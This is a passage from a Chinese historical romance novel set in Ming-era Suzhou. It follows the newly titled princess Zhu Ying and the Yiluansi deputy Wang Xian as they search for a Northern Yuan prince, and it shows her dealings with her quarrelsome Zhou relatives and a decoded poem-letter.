“我就是知道。”朱樱又抿唇一笑,拉开椅子,在王献对面坐下,笑眯眯地问道,“仪鸾司的副使大人,烦你一件事行么?”
王献抬起眼皮,果然有事,苏芥打听得倒是清楚。
“弦月栖身于乐云楼内,你可否前去查探?”朱樱低头展开一张信纸,提笔写下几个字,交给王献,“若有机会见到她,把这交给她即可。”
纸上是一首诗。
“金陵使者过江来,漠漠风烟一道开。”
“王气有时还自息,皇恩何处不周回。”
“莫言率土皆王化,且喜江南有俊才。”
“归去丁宁频属付,春风先到凤凰台。”
王献跟随皇帝,恍惚记得见过这首诗。
这是当初皇帝派人到关外招降顺帝时,顺帝回答的诗作。
“我会带到。”王献随手收起信纸,踌躇道,“你心思灵巧,我问你一事。”
“好。”朱樱抬头看他。
王献攥了攥拳头,方才他想问苏芥,但想想定会被他嘲笑奚落一番,因此硬生生忍了下来。朱樱的话,虽然满脑子也不知盘算着什么,但委实是善解人意的好姑娘,请教她的话,就没什么心理压力了。
“皇上命我在姑苏寻北元的小皇子,近日却传来密信,改为寻找一位长安公主,这是何意?”
“因为,顺帝死后,宣光皇帝、天元皇帝皆不去北元之号。”朱樱看着王献,慢慢说道,“顺帝当初说,春风不过是先到凤凰台,十五年了,或许他们还相信,春风终于也要吹过关隘,吹至草原的。”
王献听得半明不白,不由嫌朱樱说得太过委婉,皱了眉,“苏芥是个不知慎言的,而你委实太过慎言。”
“慎言一些不好么?”朱樱霎了霎眼,支着面颊的手落在书案上,“啪”的一响,“与你明说也无妨。皇帝等着北元识相地自己去了尊号,回广阔的草原上做他们的可汗,可是等来等去,他们还不死心,一心尽想着夺回中原之地。”
“最后用兵是难免的,但是皇帝还想亲自扶植一个听话的新可汗送给他们。”朱樱偏了偏头,看向王献,“这回明白了么?”
流落在姑苏的北元小皇子,就是皇帝想要扶植的那个乖乖回到草原上去的新可汗。
王献被她一点,只觉心如明镜,但随即又是一个疑问:“你说了这么多,与那长安公主有何干系?”
朱樱道:“十五年前,小皇子尚在襁褓之中,这些年来,一直由胞姐长安照料。若定要一人来指认那名少年曾贵为皇子,那个人自然该是他的亲姐姐长安公主。”
“确实,若是旧臣推出一人说是小皇子,我却不信的。既如此,寻到了长安公主,小皇子也在她身边。”王献点头,又摇头,“但我今日追那长安公主,追丢了。”
朱樱满不在乎地笑笑:“不用担心,你替我去寻弦月,长安公主就由我去会会。”
12. 第十二章 秾艳一枝
朱樱斟上茶水,放在王献面前。
王献已不像从前那般满是戒心,端起来一饮而尽,自什锦格子上取下官服,换去黑衣,“我往府衙走一趟。”
“这是公事,不必与我说。”朱樱打开什锦架上的暗格,取出一个两寸来长的狭长雕花木盒。
“皇上命卑职做高昌公主的随从,悉心护卫,卑职自要向殿下汇报行踪。或许,殿下该与卑职同去?”王献看着窗外爬满紫藤和茑萝的篱门,如是说。
朱樱手下一顿,宽袖一转,将木盒扔进袖内,抬头看院门。
“姑娘!”白篱猛地推开门,门上的藤蔓晃晃悠悠,抖下无数落花,纷纷如雪。
“姑娘,周家的小姐们来闹事了!”白篱急匆匆穿过满是落花的院子,闯进檐廊下,“姑娘!”
王献推门而出,官服上的刺绣在金色的余晖下耀目不已。
白篱一愣,怔怔想道,果然是仪鸾司的官服,如此华丽。
“白篱,你慢慢说,是谁来了?”朱樱披着浓烈的红绸衣,堆着高髻,发髻上斜簪金凤,衔一串米粒大的珠串,在鬓边轻晃。
白篱再一愣,不明白两人如此打扮是要去何处,口中忙道:“还能有谁,自然是锦桃娘子和锦李娘子。不论姑娘急着去哪儿,好歹先把她们打发了再去,都在铺子里撒泼砸起东西来了!”
周锦桃和周锦李是大太太杨氏所出,姐妹俩从小被杨氏当做宝贝一般养大,性子娇惯,在周家横行惯了。
“我去看看。”朱樱拍拍白篱,“让你为难了。”
白篱是周家的丫鬟,不敢与周家姊妹俩起了冲突。
白篱抿抿唇角,“可是姑娘也……姑娘若是亲自去的话,岂不让家里知道这处铺子是姑娘的了?到时候,大太太怕又要三天两头来打秋风。”
朱樱一笑:“那也要看她还有没有这个胆量。”
王献默默跟在两人身后,一言未发。
转过一道大理石屏风,便听前厅里叮当之声不绝,少女又尖又细、又高又快的声音里夹杂着掌柜息事宁人的劝说声。
“不过一个伶人开的铺子,也好装出这么大的腔调来?!”这是姐姐周锦桃的声音,说的并非姑苏话,而是官话,“去把你家那什么忆桵姑娘叫出来,我倒要看看那个不要脸的女伶到底是何等模样!”
十四岁的周锦李也在一旁帮腔:“就是,我看这铺子里的东西也不过是徒有其表,和我家用的从来相似,竟卖得这般贵!你们莫不是黑店?!”
“两位姑娘说笑了,小店自开业以来,定价公道,街坊邻居都可为证。”掌柜的站在门前,脚边一堆砸碎的瓷片,仍心平气和,笑脸相迎。
王献忽然道:“你找的人,倒是好涵养。”
“生意人都讲究和气生财,何况明眼人都瞧得出这姊妹俩故意找茬,与她们生气没意思。”朱樱说罢,拉开屏风。
整个大厅一片狼藉,隔断两旁的盆景被摔砸了一半,半屋泥土,半屋碎瓷。
白篱气得柳眉倒竖,挽起袖口,顾不得暴露身份,冲上去一把推开周锦桃,红着眼睛死死瞪着她。
“是你这个小蹄子!”周锦李见姐姐吃了亏,一把抓起白篱手腕狠狠咬了一口。
铺子里的伙计见伤了人,忙上来拉开周锦李。
白篱捂着手腕,疼得眼泪在眼眶里打转。
“白篱。”朱樱拍了拍后背,绕过满地的碎瓷,走到周家姊妹面前。
“你怎地还没死!”周锦李年纪小,沉不住气,“我们分明告了你……”
“妹妹!”周锦桃急忙喝止,哪有在比人面前自揭阴谋的道理?她真是带了个蠢妹子出门。
“哼。”周锦李推开拉着她的伙计,走到朱樱面前,环顾大厅一圈,笑嘻嘻地问道,“阿颜表姐,这铺子不会你的吧?你不会就是那个下贱的女伶吧?是不是被官府追得走投无路,才改名易姓做了伶人?不如让妹妹教你,去乐云楼做妓/子岂不更好?”
朱樱袖手立在大厅正中,似笑非笑地看着她,吴语轻软:“阿桃和阿李在姑苏住了这么多年,却还学不会姑苏话,往后就算想当伶人,却也唱不来曲子呢。”
周锦李顿时语塞,她和姐姐大舌头学不来软糯的姑苏话,也懒得去费那个功夫,这个一向寄居在她们家的表姐竟敢嘲笑她!
手一甩,露出不知何时捡起的一片碎瓷,哇哇叫道:“不就长了一张好脸皮,生了一副好嗓子,得意什么!我今日就要划花了你的脸!”
“闹够了没有。”王献在一旁看不下去,刀柄重重击在周锦李手腕上,瓷片一转,反将她自己的额角磕破一层皮。
周锦李捂着额头顿时大哭,“啊啊啊,我破相了!姐姐!这个恶毒的表姐划破了脸!我嫁不出去了,我嫁不出去了!”
王献扶额,这小女孩不仅不讲理,还吵得恨不得翻天,似乎真有人欺负她似的。这孩子简直浑身都是戏,若学会了姑苏话,真去唱那劳什子戏本,倒也无不可。
周锦桃年长,将杨氏蛮横的性子学了七分,又从二太太蔺氏那儿学来几分乖觉,一眼看清朱樱服色端庄华丽,她身旁佩刀的郎君又是官服,便知事情不简单,乖乖闭上嘴,一声不吭拖着妹妹往外走。
半刻后,朱樱正坐在堂中为白篱包扎手腕上的伤口,伙计们才将大厅收拾一新,三三两两扎成堆,低声议论他们今日始得一见的东家女郎和那个分明身着官服,却甘于侍立在女郎身边的佩刀郎君。
白篱止了泪,望着朱樱哀切切地问道:“姑娘,家里知道姑娘在这里了……可怎么办呀?”
姑娘启程去应天府时周家避之不及,因此姑娘从应天府回来时,也未曾知会周家一声。
若是周家知道姑娘被封了公主,还在城中开了铺子,岂不是又要像苍蝇一般围过来,嗡嗡不绝。
话音才落,一辆马车风风火火地停在门前。
掌柜的向着马车深深一揖,“对不住了,小店今日不方便,客官请明日再……”
车上下来一个绿色官服的年轻郎君,一脸和气地向掌柜的道声扰,道:“舍妹已数月不知所踪,听闻在此,可否进去一见?”
商究竟有些怕官的,掌柜一团和气地笑了笑,便往一旁让开。
车上又下来一个墨绿衣袍的中年美妇人,胸前一串洁白的砗磲璎珞,衬得妇人慈眉善目,仿佛菩萨。
妇人跟着青年跨过门槛,一眼看到朱樱,急忙扑上前,“我的阿颜!舅母可算寻到你了!”
“二太太。”朱樱推开小几上摊开的药末,手
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中一柄雪亮的剪子横在胸前,摆明了不愿蔺氏接近。
蔺氏略显尴尬,赔笑道:“阿颜这些日子,都往哪儿去了?舅母许久没听到你的消息,还以为你生气离开了姑苏,伤心了好一阵子。”
“多谢二太太记挂。”朱樱淡淡一笑。
“你看,你哥哥也想你得紧,一听你回来了,忙从官署告了假来寻你。”蔺氏腆着脸拉起朱樱的手,见她并不推拒,得寸进尺地扶上她的肩膀,“给舅母好好瞧瞧,这些日子没见,像是消瘦了不少,好可怜见的。”
白篱在一旁撇了撇嘴,姑娘自从回来以后,没日没夜地忙这忙那,从没好好休息过,能不瘦吗?
蔺氏拉过身旁青年,“钰郎,快来见你妹妹。”
周钰向朱樱作了一揖,但目光总忍不住往王献那儿飘,看王献官服当是从五品的官员,可他却甘心侍立于朱樱身后,那么他这数月不见的表妹,如今究竟是何身份?
“这位大人……?”周钰向王献也作了一揖,“下官不知如何称呼大人,多有失礼。”
“你是何人?”王献冷淡地瞥了面前青年一眼,似乎没在官衙见过,应当不是什么管事的。
“下官是阿颜的兄长,苏州府一名小吏,周钰。”周钰感到王献身上逼人的气势,不由战战兢兢。
“兄长?”王献看朱樱一眼,见她神色平淡,并无阻拦之意,遂说道,“殿下是皇上才认的女儿,赐名樱,号为高昌,与皇子皇女同列,何来你这般的兄长?朝中太子、诸王,才是殿下兄长。”
蔺氏只觉眼前一黑,踉跄几步,被身边的大丫头搀住,颤声问朱樱:“阿颜,不不不、公主?真的是公主殿下么?”
朱樱点头,含笑道:“二太太、周大人不必害怕。”
蔺氏再觉眼前一黑,这孩子是不想认亲眷了。
周钰稳住心神,再向王献深深一揖,“下官眼拙,不知究竟如何称呼?”
仪鸾司的官服他倒认得出,只是偌大的仪鸾司,有负责仪仗的光鲜面孔,也有不少令臣子胆寒的暗探。
朱樱略带同情地看看他,很不幸,王献作为仪鸾司副使,作为皇帝的心腹,想必就是他们眼中所谓“暗探”了。
王献直接略过了周钰的话,道:“殿下今日尚有他事,不便在此久留。”
朱樱起身,向周钰和蔺氏笑笑,也不唤白篱,径自穿过大厅登车而去。
“去见谁?”朱樱挑开一角帘子,不知蔺氏他们现在是何等神情,白篱又会向她的旧主人说多少事呢?
“苏州府的官员也该见你一见。”王献一脸坦然地驾车经过街道,浑不理会街上百姓异样的目光。
朱樱回到姑苏的消息苏州府的大部分官员还不清楚,只知是来了个大人物。
“随你安排。”朱樱揭开车帘,皱眉道,“你下去,另寻一个车夫来,没看见所有人都在看你么?你穿官服当街驾车,只怕不到明日便要成姑苏城里的奇闻了。”
“我可不怕被人说。”王献冷哼一声。
朝中官员见了他们,明面上总像老鼠见了猫一般战战兢兢,背地里说的那些话,或嫌恶、或痛骂、或诅咒,他听得多了。
这些百姓的目光无非好奇,当一件稀奇事而已,他才不会放在心上。
13. 第十三章 养亲汤
林家药铺的掌柜林青脚步轻快,穿过回廊,遥遥招手,“两位贤侄,老神医那里送来了信件。”
“师父来信了!”少年人推开门,如兔子一般跃出门槛,从林青手里夺过两封信件,翻来覆去地看。
两封信件一模一样,上面没有署名,也没有写明寄给何人。
苏陈挠了挠头,求援地看向慢悠悠走出来的苏芥:“师兄,哪一封是你的?”
“阿陈,打开看看不就知道了。”苏芥随手拿过一封撕开,信封中窸窸窣窣落下几茎草叶,落在苏芥掌中。
“诶?”苏陈拆开信封,被浓烈的气味一呛,忙扭头挥了挥手,将气味扑散几分,“师父放了什么东西……”
林青撮起一小块,看了看,道:“这是陈皮啊。”
“师兄手中的是荆芥穗。”苏陈恍然,笑道,“哎呀,师父跟我们打哑谜呢。”
“快看写了什么吧。”苏芥面无喜怒,展开信纸,眼风一掠,将信重新收回信封内细细收起。
苏陈尚未看完,愤愤不平地一丢信纸,摔门回屋。
“诶,苏小药师……”林青一头雾水,捡起信纸,拿在手中,不知如何是好。
“我看看。”苏芥接过,看了一遍,摇头道,“师父要他回药园去,他不乐意。”
“少年人爱玩,也是有的,不乐意被拘束起来。”林青和蔼一笑,摸摸略显富态的肚皮,“我家中后生也同苏小药师一般,皮得很。”
苏芥一笑:“正是,年轻人总是如此,师弟自小无法无天,师父不曾管过他。”
林青看他一眼,心道你这个做师兄的不也如此?不仅不管,还纵着他愈加胡闹。
不过,林青又觉奇怪,若说年轻,他记得苏芥也不过二十,却半点没有年轻人的模样,他行事都是极好的,一言一行让人如沐春风。只是,世上真有好到毫无缺点的人么?
墙边的高树投下一带阴影,将青色衣袍的青年笼罩其中,俊朗的面容染上一层暗色调,没来由令人发憷。
林青摇了摇头,把这些古怪的念头赶出脑海,又道:“我们家少奶奶的病好了许多,已可以下床走动,小少爷也康健得很,说是要来铺子里玩……”
“那就好,我明日送阿陈回应天府,要与您告别一段时日。”苏芥取出一张薄纸,“后续的调养我都写上了,倘有他变,去寻那位娘子亦可。”
林青怔怔接过药方,又道:“我们少奶奶还托我问几句话。”
“问什么?”苏芥一顿,垂在身侧的手攥起。
“‘那位郎君,在跟随苏老神医之前,是何家儿郎?唤作什么名字?家中可有姊妹?那位前来探望的娘子与郎君又是如何称呼?’”林青如背书一般,一一问道。
苏芥放开了手,笑道:“这许多话,与诊病何干?”
“少奶奶只是好奇。”林青叹口气,咽下下一句将将要说出口的话。
因为他们少奶奶说,那青年似一梦中故人。
他们起初以为少奶奶年轻时曾爱慕如此儿郎,但她问的却是家中有无姊妹,而非兄弟,着实令人费解。
苏芥摇头,面上依然带着温和从容的笑意:“师父吩咐在先,这些事,恕我不能透露。”
林青自袖中摸出一页花笺,双手递给苏芥,道:“少奶奶还说,若是那位郎君不愿回答,就将这笺子留下,聊以为谢。”
苏芥接过,点了点头,“多谢盛情。”
苏陈坐在屋内,手中转着一茎车前草,将上面米粒大的果实一颗颗掐下来,凭窗扔进窗外鱼池,看鱼儿在水中接喋嬉戏。
“师兄!”见苏芥进屋,苏陈将车前草往水中一抛,冲到苏芥身边,一晃神的工夫已绕了一圈半,哀嚎道,“师兄,我不要回应天府!”
他不耐烦带那些生徒,也管不住那么多小孩子,何况他皮起来与那些孩子不逞多让,每每在太医院惹下麻烦,被年长的医官好一顿训斥。
“师父单单吩咐你回去,自有道理。”苏芥将花笺放在桌上,用一方砚角压住。
“诶?这是什么?”苏陈凑上去,埋头去看那一方花笺。
笺子淡绿颜色,纸间夹杂着零碎的茉莉花瓣,淡香盈盈。
“茉莉花笺,没见过么?”苏芥挑眉。
“不是,我才没这么没见识呢。”苏陈撅起嘴,抬起砚台,抓起花笺细看,笑道,“我是说这上面的字。好娟秀的字迹,莫不是哪个美娇娘爱上了师兄,写的情诗?”
“残月胧明,好梦阑珊。”
“平生曾记,江北江南。”
“梨云梅雪,凛凛轻寒。”
“嗯……?这是什么意思?”苏陈摸摸下巴,“读来却不似情诗。”
有些清冷,有些落寞,似乎……还有那么一点凄凉的意味。
怎么看都不像女子写的情诗,苏陈一拍桌子,猛地现出恍然的神色:“师兄,你是不是曾负了谁家女郎啊?”
“……”苏芥从他手中取回花笺,一抬手,伸至点燃的烛火上点燃。
“啊!师兄!”苏陈忙去抢,“不论是不是,到底是人家一片心意啊!”
抢到手中时,笺子已烧去一角,幸喜字迹无恙,苏陈赶紧扑灭火星,护在怀里,“你既不喜,不如送我吧?”
“随你。”苏芥冷淡地答道,“去理你的行李,明日我送你回应天府。”
苏陈一脸不乐意,拖沓着脚步,闷闷应下:“知道了。”
街边幽静的如意花坊来了客人,掌柜热情洋溢地迎下台阶,“客官是来买花还是……”
少年人风风火火地冲进大厅,问道:“那位姑娘在么?”
“啊?”掌柜的一怔,随即压低声问道,“这位小郎君,是要找我们东家娘子?”
“哎,正是。”少年随意作了一礼,“烦掌柜的问一声。”
“小郎君如何称呼?”掌柜的又问道。
少年笑嘻嘻地道:“我姓苏,你们家娘子定会见我的。”
朱樱正在一道屏风之后,身前坐一老妇,咳嗽不休,面色时红时白,透不过气来。
老妇身后站一衣着考究的中年男子,诚惶诚恐地望着朱樱的神色,就怕她一皱眉头,说他母亲这病治不得。
朱樱诊过脉,点头道:“不妨事的。”
男子长舒一口气,悬着的一颗心稳稳落回胸中。
她提笔写下几味药物,将笔尾往面颊上轻轻一敲,看看老妇人笑道:“这方子有个好听的名字,唤作‘三子养亲’,老人家膝下有如此孝子,何愁不得供养?”<
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p>老妇展颜,面上沟壑纵横,盛满笑意。
“赵老爷,我看萱堂尚有些畏冷,可是这几日着了风?”朱樱低头思索。
“正是,母亲前些日子大寿,一时高兴,同小孙儿们在园子里逛了一会儿,看是暑天,没提防,就着了风。”男子连连点头。
“暑天着凉,委实受罪得很。”朱樱眉尖一蹙,道,“我再加些别的药。”
正写方子,一抬头,一个少年站在案头,脸上的笑容仿佛三月初晴的阳光,令人心地也为之一亮。
求医的男子与老妇看向那少年,不由自主露出欣然的神色。
“对不住,赵先生,这位小郎君有急事寻我家娘子。”掌柜的向男子道声歉,附到朱樱耳边,“娘子,这位是苏小郎君。”
男子只当亦是求医之人,笑道:“不妨事,不妨事,人命为大,姑娘若有救命的事,只管先去。我母亲的病只是难受,还不甚要紧,忍得这一时半刻。”
少年笑着回礼:“我也没甚大事,站一会儿便是。”
朱樱抬头看看少年,仍低头慢慢斟酌方子。
白篱上来添一盏茶,抱着茶盘站在朱樱身旁。
“先吃三剂,不论有效无效,都要再来。”朱樱将方子递给男子,“莫再让老人家贪凉着风。”
男子应声是,道了谢,扶着老母离开。
“白篱也下去吧。”朱樱搁下笔。
“是。”
“你便是苏陈么?”朱樱起身,与快乐的少年人平视。
“哎呀,认得我呢,真高兴。”苏陈眉开眼笑,从怀里小心取出烧毁了一半的花笺,“颜姐你看,这是什么意思?”
残月胧明,好梦阑珊。
平生曾记,江北江南。
梨云梅雪,凛凛轻寒。
“梨云梅雪,凛凛轻寒……”朱樱低声念道,“梨云梅雪,俱是白若琼华。”
她在书案前重又坐下,提笔写下两行字。
苏陈凑过去看,见是两句小词。
“江南江北,曾未见、漫拟梨云梅雪。”
“残月朦胧,小宴阑珊,归来轻寒凛凛。”
“唔,似乎正是这两句拼凑而成。”苏陈托着腮帮,恍然大悟之际不忘夸朱樱,“姐姐果然才情卓荦,一看便知出处,我看了好半日,也没看出什么名堂。”
朱樱提笔,望着两句小词出神。
“可是,这究竟是什么意思呢?”苏陈自言自语,“师兄见后,神色有些不对劲……他这个人,虽然从来都不对劲,但是这回尤其严重!”
“前句出自周密词《瑶华》,后句出自柳永词《宣清》。”朱樱提笔在词句后面缀上这几字。
瑶华、宣清,皆取自词牌。
那女子费尽心意,于廿四字传递千言,拳拳爱护之意,至今未变。
苏陈莫名其妙地霎了霎眼,问倒是问清楚了,可他还是不明白。
朱樱摘下绘着鸢尾花的灯罩,顺手拈起残破的花笺,和写了小词的纸一道扔进去。
写药方的薄纸沾火即着,带苏陈回过神来时,两张纸已彻底烧成一团火,救之不及。
“啊啊啊!颜姐!”苏陈一脸控诉地看着大眼无辜的女郎,“我好容易抢出来的,你怎么又烧了!”
14. 第十四章 菱花会
第14章菱花会
苏陈不免又抱怨一番自己不想回应天府云云,朱樱说了不少好话,于午后将苏陈打发了。
“这小兔子怎么找到这儿来了?”王献冷诮的声音从幽深的穿堂中传来。
“不是说去查案么,王大人什么时候回来的?”朱樱回过头,见他一身暗色,抱臂倚在黑黢黢的穿堂内,只能看清一张脸,脸上神情似笑非笑,似怒非怒。
“倒不是什么案子。”王献跨出穿堂,走到她身边,冷声道,“周家姊妹为何会特意来这儿闹事,我觉得奇怪,便去查了一查。”
朱樱低下头修剪面前的合欢盆景,头也不抬,“很奇怪么?”
原本葱郁参天的合欢树,在她手下缩略于股掌之间,如此畸变的模样,却还生得葱茏蓬勃,开出满树红花。
王献不由看住了一会儿,续道:“自然奇怪。周家姊妹来此处,是因前日在周二太太蔺氏跟前,听蔺氏的一个丫鬟说起城里新开了花坊。而那丫鬟,正是那白篱的姐姐。而白篱前些日子回家,正是你催她去的。”
“是么,这般巧?那倒是怪我了。”朱樱抬眼向他一笑,“王大人到底要说什么呢?”
“殿下的好计策,将我也算计进去了。”王献一哂,“上回该不会也是算计如此吧?”
上回,从她被告发,到启程往应天府,最后逆转形势,被加封为公主,这一切,从头至尾,也都是她早已算定的?
若是如此,这女郎也是不输苏芥的狠角色。
朱樱放下小剪子,摇头,“并非。陷自身于险地之事,我并不会做。我知周家姊妹行事莽撞,但我没料到大舅母也会与她们一起胡来,连自己是否会一并获罪都不顾,便去写那些匿名告发的信件。”
她原想离开周家后,休整数月,安顿好苏云珍和白篱的去处,寻个合情合理的借口在姑苏“消失”,之后启程去寻苏老神医,商议下一步行事。
确实未曾想到,杨氏她们如此莽撞胡为。
她的谋算,是从王献出现在墙外邀她去应天府的那一刻才开始的。
王献面色稍霁,虽然他不认为自己是个好人,但总觉得苏芥那般行事端的恐怖。就算生母在府中被磋磨致死,又何至于下他那样的狠手,竟连手足都不放过?且那府中死者,最幼的无过六七岁,十余年前的旧恨,又与那无辜小儿何干呢?
“你不该学苏芥。”王献摇了摇头。
朱樱在他眼中光彩照人,他希望这女郎所言所行,都如当初在朝堂之上、满朝文武面前,从容磊落。
譬如不忍见珍珠蒙尘,不忍见美玉有瑕,人之心念,大抵如此。
“……多谢你。”朱樱转身离去,“我二舅母该来了,我去接她一接。”
多谢在这世上,还有人想推她一把,将她从无边黑夜推向光明。养她护她的人不曾这样做过,爱她宠她的人也不曾这样做过,反是王献这样本身尽在黑暗之中的人,希望她能够离开。
可惜还是来不及了。影子已经投到她身上了,没有光可以彻底驱散影子。
蔺氏在花坊前下了车,一手捂着胸口的砗磲珞子,另一只手中团扇微斜,遮住半边面颊。
朱樱一身藤花颜色的夏衫,头戴帷帽,走下台阶,和顺见礼。
“二太太。”
蔺氏心中一喜,想不到朱樱竟会亲自来迎,忙将眉头一皱,上前搀她,“我的颜娘,我的殿下,这可使不得。”
朱樱轻声笑,面前的帷幕轻晃,送出温和好听的声音,“那位大人今日不在,二太太不必拘束。我听闻您下月要去喜宴,已给您养了株极好的合欢花做随礼。”
蔺氏松口气,心中欢喜起来,脸上的笑意更没了顾虑,如墨点水一般晕开:“阿颜啊,家里姊妹不懂事,惹你生气了。舅母想着,该请你回家一趟,大家聚一聚,也当舅母给你赔个罪。”
“我不曾生气,何况哪有长辈给晚辈赔罪的道理?”朱樱低下头,帷帽遮去了神情,但想必面上是笑的。
蔺氏心中再一喜,这话虽赌气,但有松动,再说软话哄哄就成了:“阿颜这话说的可不对,就算是长辈做错了事,也该放下身段道歉,这才是正理。”
“舅母真会哄人。”朱樱一笑,“舅母定要邀我,我也不好再推,只是赔罪一说万万当不起。”
“我记得,姑苏的女孩子们,每年夏至都要轮流办菱花会,今年的菱花会,正是舅母家中主办。”朱樱轻轻缓缓地续道,“我搬回去住一阵子,也见识一下菱花会是何模样。”
“这有何难?你的院子,舅母总为你留着,三天两头遣人给你扫洒,不教沾染一点尘埃,随时预备你回来住呢。”蔺氏眉开眼笑,她就知道,他们家阿颜好说话,昨日冷言冷语,定是因仪鸾司的人在,她不好热络。
蔺氏欢天喜地,恨不得立刻生出双翅飞回家中,将菱花会预备得盛大隆重。
过了四五日,朱樱带着白篱回到周宅,蔺氏的女儿周锦蘅一身翠绿半臂夏衫,站在蔺氏身后,在二门内迎接朱樱。
“阿蘅,你颜姐姐回来了,还不快去。”蔺氏推一把女儿,满面堆笑,“我先往那头招呼那些小细娘们。”
“颜姐姐!”周锦蘅放下团扇,露出活泼俏丽的面庞,“颜姐姐,我想你许久了!”
“阿蘅。”朱樱摸了摸她的额头,携着她的手往内走。
周锦蘅与她一向很要好,蔺氏心细如丝,她养的女儿却心如赤子,天真烂漫。
周锦蘅取出一个小巧锦盒,塞给朱樱,“颜姐姐,我昨日吃的绿豆糕,香甜软糯,一点不齁,特地给姐姐留了一盒呢。”
朱樱接过来,顺手递给白篱。
周锦蘅便有些不高兴,撅起嘴道:“颜姐姐先吃一块嘛!”
“真拿你没办法。”朱樱揭开镂空的锦盒,拈起一块,放入口中,果然是香软清甜,十分可口。
不多时,蔺氏那里的丫鬟来请,“二太太请二姑娘、表姑娘到翠月轩,其他姑娘已都到了。”
“颜姐姐跟我来,我们撑船过翠月轩去。”周锦蘅一抛团扇,跑到码头上,跳上一叶小舟,在船头摇摇晃晃地向朱樱和白篱招手,笑道,“颜姐姐来,我才学的撑船,不稳不收钱。”
周家的园子很大,以一带流水分隔,分作南北两岸。北岸是后宅,南岸是会客之所,翠月轩位于南岸的码头旁,挑出水面之上,其下满是菱荇之类。
周锦蘅手持竹篙,立在船头,衣带随风掠起,翩飞不休。
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>“二姑娘真好看。”白篱手掌合在颌下,说了又觉不妥,转头看看朱樱。
她家姑娘也是很好看的……只是,总沉沉的,没什么朝气。不像周锦蘅,高兴时就笑,不高兴就撅嘴撒娇,从不加掩饰,比春天里喧嚷的花儿还娇艳动人。
顺水行舟,倏忽已至南岸。
码头上的船娘系上缆绳,将船拢岸,向着周锦蘅笑道:“二姑娘和表姑娘可算来了,二太太念叨好一会儿了。”
周锦蘅将竹篙横在船头,跳上码头,追着点水而过的蜻蜓跑去,一路笑声不绝于耳。
朱樱和白篱并周锦蘅的丫鬟绿茗远远跟在后面,穿过木香花架往翠月轩去。
“颜姐姐!”周锦蘅转过身,手中捏着一只橙红的大蜻蜓,蹦蹦跳跳,“你看,我抓到了!”
“阿蘅,仔细脚下。”朱樱往前走了几步,周锦蘅脚下的木板似乎朽了,被她踏了几下,吱嘎作响。
“啊?不要紧的,这里的木板一向吱吱嘎嘎响个不停,其实结实……”周锦蘅话未说完,脚下一空,半截木板折断,坠入水中。
绿茗和白篱齐齐变色。
眼看周锦蘅也要跟着踩空落入水中,一只手从旁伸来,牢牢握住她的手腕,将她拉起。
周锦蘅在慌乱中手一松,捏在手中的蜻蜓振翅飞走。
“哎,我的蜻蜓!”周锦蘅回过头,见拉住自己的是个少年人,皱眉道,“我的蜻蜓飞走了,你要赔我!”
绿茗和白篱跑到周锦蘅身边,忙着检查她有无受伤,听到少女还关心着蜻蜓的去向,不由抿唇笑起来。
翠月轩那边也远远望见动静,蔺氏急匆匆地跑下码头,“我的儿,可吓死为娘了!”
“哎呀,我没事的嘛。”周锦蘅满不在乎地拍掉裙袂上沾到的碎木屑,“真是的,这里的木板一向如此,怎地今日就坏了?定是我昨儿偷偷多吃了一块绿豆糕,长胖了。”
蔺氏又忙向救起周锦蘅的少年人道谢,少年腼腆一笑,转身走了,躲到一个高挑的女郎身后。
朱樱绕开断裂的栈桥,低头看一眼,缓步走上翠月轩的木廊。
那暗色衣衫的高挑女郎站在奶白色的木香花架下,肩头无数落花,仿佛积雪,正含着淡笑注视朱樱。
方才救人的少年倚在一侧柱子上,目光清澈,抬头看着头顶由花与叶构成的苍穹。
翠月轩外满阶兰草,高大的樟树临河生长,将整个水榭笼罩其中,小轩四面垂下篾竹的稀疏软帘,水面来风,清凉怡人。
轩内已坐满了盛装的少女们,各自围坐交谈,清脆的嗓音如枝上黄鹂。
高挑女郎独自坐于水榭一角,那少年则静静坐在帘外,执竿垂钓。
周锦蘅是主人,早被一大群女孩子们围过去,一会儿问她蜻蜓如何捉,一会儿又听她说撑船如何有趣。
周锦桃和周锦李姊妹俩穿着鲜亮新衣,见女孩们只顾围着周锦蘅转,顿时拉下脸,细眼中露出与母亲杨氏一般刻薄嫉恨的神情。
蔺氏见此,皱一皱眉,忙招呼朱樱,“阿颜也是我们周家的女儿,快与你妹妹一道坐去。”
“不必,我看那水边倒风凉些。”朱樱斜过团扇,在蔺氏与自己之间一挡,抽身往临水的窗边去。
15. 第十五章 望长安
周锦桃一拍桌子,猛地站起身,拉住朱樱,怪模怪样地挤眼笑道:“表妹如今大出息了,虽嫌弃我,可别嫌弃往日最喜欢你的锦蘅妹妹啊。来来来,做姐姐的给你让个座儿,让你们好好亲近亲近。”
水阁里一静,有些懵懂的女孩子们面面相觑,不由低声询问,这个往年不曾见过的俏丽女郎,究竟是谁?
“桃表姊说的哪里的话?”朱樱放下团扇,轻轻拂开她的手,往周锦蘅身边去。
周锦桃只觉手背到手臂上辣辣一热,不知被她拂过什么东西,不由像触到了火一般放手,跳开几步。
“如此看来,不是我要与表姊生分,倒是表姊嫌弃我碰。”朱樱浅浅一笑,在周锦蘅身边坐了下来。
“你……”周锦桃吃了哑亏,不敢再闹,收去怒容,僵着脸笑一笑,安安静静坐下来,“妹妹这话就见外了,原是方才有个虫儿,我伸手去掸呢。”
“颜姐姐,你看这个。”周锦蘅从女孩子们的包围中探出头来,推来一溜青花小碟,“这是胭脂鹅脯,这是糟虾,这是蕉叶煨的鹿肉,还有芙蓉豆腐、凉拌蕨菜、莼菜面筋、玉兰片……”
蔺氏带着大丫头们来上点心,听了这一大串,笑道:“你颜姐姐哪吃得了这许多,好好的坐回去,也让别的姑娘们下一箸子。”
女孩子们忙笑着称谢。
各色点心并冰镇过的新鲜菱角、莲蓬并其余时令水果摆上来,席上冰块散出雾气,袅袅娜娜,衬着那些精巧的面点与颜色艳丽的水果,浑似瑶池盛宴。
“杏酪、金丝蜜枣白米粽、软香糕、千层馒头,哎呀,都是我喜欢的!”周锦蘅笑得见眉不见眼,“你们快也来尝尝,我打包票好吃!”
朱樱坐在一旁安安静静地剥菱角,周遭的女孩子们好奇地看着她。
菱角生得结实,她们从没亲手剥过,都是丫头们剥好,献上来尝个鲜罢了。
朱樱手持小银剪,在菱角中间划开一道口子,双手捏着两个尖角一折,菱角被折为两半,嫩白的果肉落入掌心。
“哎,颜姐姐,你这吃法忒也麻烦,你看我。”周锦蘅抓起一只紫菱,放进嘴里,银牙一咬,咬作两截,吐出壳来时,口中还嚼个不休。
女孩子们早已见识过周锦蘅的“豪爽”,不以为怪,反笑得前仰后合。
